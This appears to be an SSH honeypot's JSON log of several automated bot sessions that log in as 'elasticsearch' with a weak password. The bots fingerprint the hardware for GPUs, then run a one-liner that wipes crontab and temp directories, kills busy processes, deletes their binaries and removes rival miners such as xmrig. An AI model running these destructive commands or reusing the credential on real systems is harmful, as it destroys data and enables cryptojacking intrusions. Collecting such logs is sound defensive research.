xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-23T08:40:59.210709+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch@1234 > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"18bff73b-f494-4ac3-9988-1b4fe59bf4dc","name":"blithe-sunlit-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.120","src_port":50492,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-22T12:13:25.310963+00:00","ended_at":"2026-08-22T12:13:27.414569+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"9134031b-7f03-4e67-bafc-0a2c95ab244c","name":"snowy-oaken-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.120","src_port":49578,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":293,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-22T12:13:20.757758+00:00","ended_at":"2026-08-22T12:13:27.412849+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1671,"events":[{"seq":1,"at":"2026-08-22T12:12:21.409126+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-22T12:12:25.139742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-22T12:12:25.351454+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-22T12:12:28.366277+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-22T12:12:28.633445+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-22T12:12:33.986566+00:00","kind":"output","latency_ms":null,"data":"2 days, 9:02"},{"seq":7,"at":"2026-08-22T12:12:34.326181+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-22T12:12:37.620611+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-22T12:12:38.026276+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-22T12:12:41.436720+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-22T12:12:41.730110+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-22T12:12:45.150821+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-22T12:12:45.482632+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-22T12:12:48.491860+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-22T12:12:48.731890+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-22T12:12:53.623905+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-22T12:12:53.876411+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-22T12:12:59.086467+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-22T12:12:59.310271+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-22T12:13:04.955623+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-22T12:13:05.387873+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-22T12:13:08.515909+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-22T12:13:09.041687+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-22T12:13:14.855846+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-22T12:13:15.091660+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-22T12:13:20.758713+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch@1234 > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"1b494c28-5f83-43e4-aedc-50bb992ace7a","name":"clever-sterling-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"91.92.42.147","src_port":52134,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-21T12:51:33.519410+00:00","ended_at":"2026-08-21T12:51:36.235438+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"5af9cfe1-475f-478d-aee0-e5d939f44b82","name":"coral-ashen-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":34268,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":242,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T12:51:30.067684+00:00","ended_at":"2026-08-21T12:51:36.236273+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1670,"events":[{"seq":1,"at":"2026-08-21T12:50:37.865463+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T12:50:40.826615+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T12:50:41.321302+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T12:50:45.638357+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T12:50:45.819497+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T12:50:50.546485+00:00","kind":"output","latency_ms":null,"data":"1 day, 9:40"},{"seq":7,"at":"2026-08-21T12:50:50.902387+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T12:50:54.386513+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T12:50:54.569599+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T12:50:59.276842+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T12:50:59.449840+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T12:51:04.591529+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T12:51:04.831495+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T12:51:08.974366+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T12:51:09.175824+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T12:51:12.213205+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T12:51:12.624413+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T12:51:15.159321+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T12:51:15.402166+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T12:51:18.491893+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T12:51:18.777363+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T12:51:21.296200+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T12:51:21.644455+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T12:51:24.199151+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T12:51:24.407370+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T12:51:30.068356+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch@1234 > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"4c9bf35a-1c88-4999-a698-60b245c38d4b","name":"fringed-bronzed-tanager","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":51678,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T18:39:16.043900+00:00","ended_at":"2026-08-20T18:39:17.314394+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"cdc7ce40-2849-4cd0-bbb4-4a39bb352cc4","name":"primal-lofty-kudu","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":44582,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":181,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T18:39:10.922518+00:00","ended_at":"2026-08-20T18:39:17.315311+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1663,"events":[{"seq":1,"at":"2026-08-20T18:38:16.053306+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T18:38:19.184696+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T18:38:19.356588+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T18:38:23.296605+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T18:38:23.491539+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T18:38:27.072835+00:00","kind":"output","latency_ms":null,"data":"15:28"},{"seq":7,"at":"2026-08-20T18:38:27.248207+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T18:38:31.970675+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T18:38:32.152406+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T18:38:36.131960+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T18:38:36.331238+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T18:38:40.668507+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T18:38:40.833697+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T18:38:45.025271+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T18:38:45.277272+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T18:38:49.574046+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T18:38:49.788837+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T18:38:55.114370+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T18:38:55.355659+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T18:38:58.465198+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T18:38:58.636471+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T18:39:02.654463+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T18:39:02.829354+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T18:39:07.760620+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T18:39:07.930254+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T18:39:10.923245+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch@1234 > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"e87c4e00-021a-42cb-9120-97a71e57767b","name":"shifting-gallant-rook","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.66","src_port":39876,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T11:06:03.497258+00:00","ended_at":"2026-08-20T11:06:05.667942+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"96c0bb3d-c34a-4ee8-a1bd-f5b7914e75ed","name":"nautical-misty-otter","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":42066,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":185,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T11:06:03.008322+00:00","ended_at":"2026-08-20T11:06:05.668559+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1565,"events":[{"seq":1,"at":"2026-08-20T11:05:55.372235+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T11:05:55.372808+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T11:05:55.535404+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T11:05:55.703654+00:00","kind":"output","latency_ms":null,"data":""},{"seq":5,"at":"2026-08-20T11:05:55.874300+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T11:05:56.364736+00:00","kind":"output","latency_ms":491,"data":"7:56\n"},{"seq":7,"at":"2026-08-20T11:05:56.554189+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T11:05:56.554632+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T11:05:56.734064+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T11:05:56.937324+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":11,"at":"2026-08-20T11:05:57.136535+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T11:05:57.609958+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":13,"at":"2026-08-20T11:05:58.071629+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T11:05:58.730273+00:00","kind":"output","latency_ms":657,"data":"AS14061 DigitalOcean, LLC"},{"seq":15,"at":"2026-08-20T11:05:58.904445+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T11:05:59.629402+00:00","kind":"output","latency_ms":null,"data":"-bash: nvidia-smi: command not found"},{"seq":17,"at":"2026-08-20T11:05:59.807166+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T11:05:59.919928+00:00","kind":"output","latency_ms":null,"data":"-bash: nvidia-smi: command not found"},{"seq":19,"at":"2026-08-20T11:06:00.105874+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T11:06:01.126712+00:00","kind":"output","latency_ms":1021,"data":"0"},{"seq":21,"at":"2026-08-20T11:06:01.397774+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T11:06:01.895135+00:00","kind":"output","latency_ms":495,"data":"localhost"},{"seq":23,"at":"2026-08-20T11:06:02.108676+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T11:06:02.620158+00:00","kind":"output","latency_ms":510,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T11:06:02.804506+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T11:06:03.009093+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch@1234 > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]}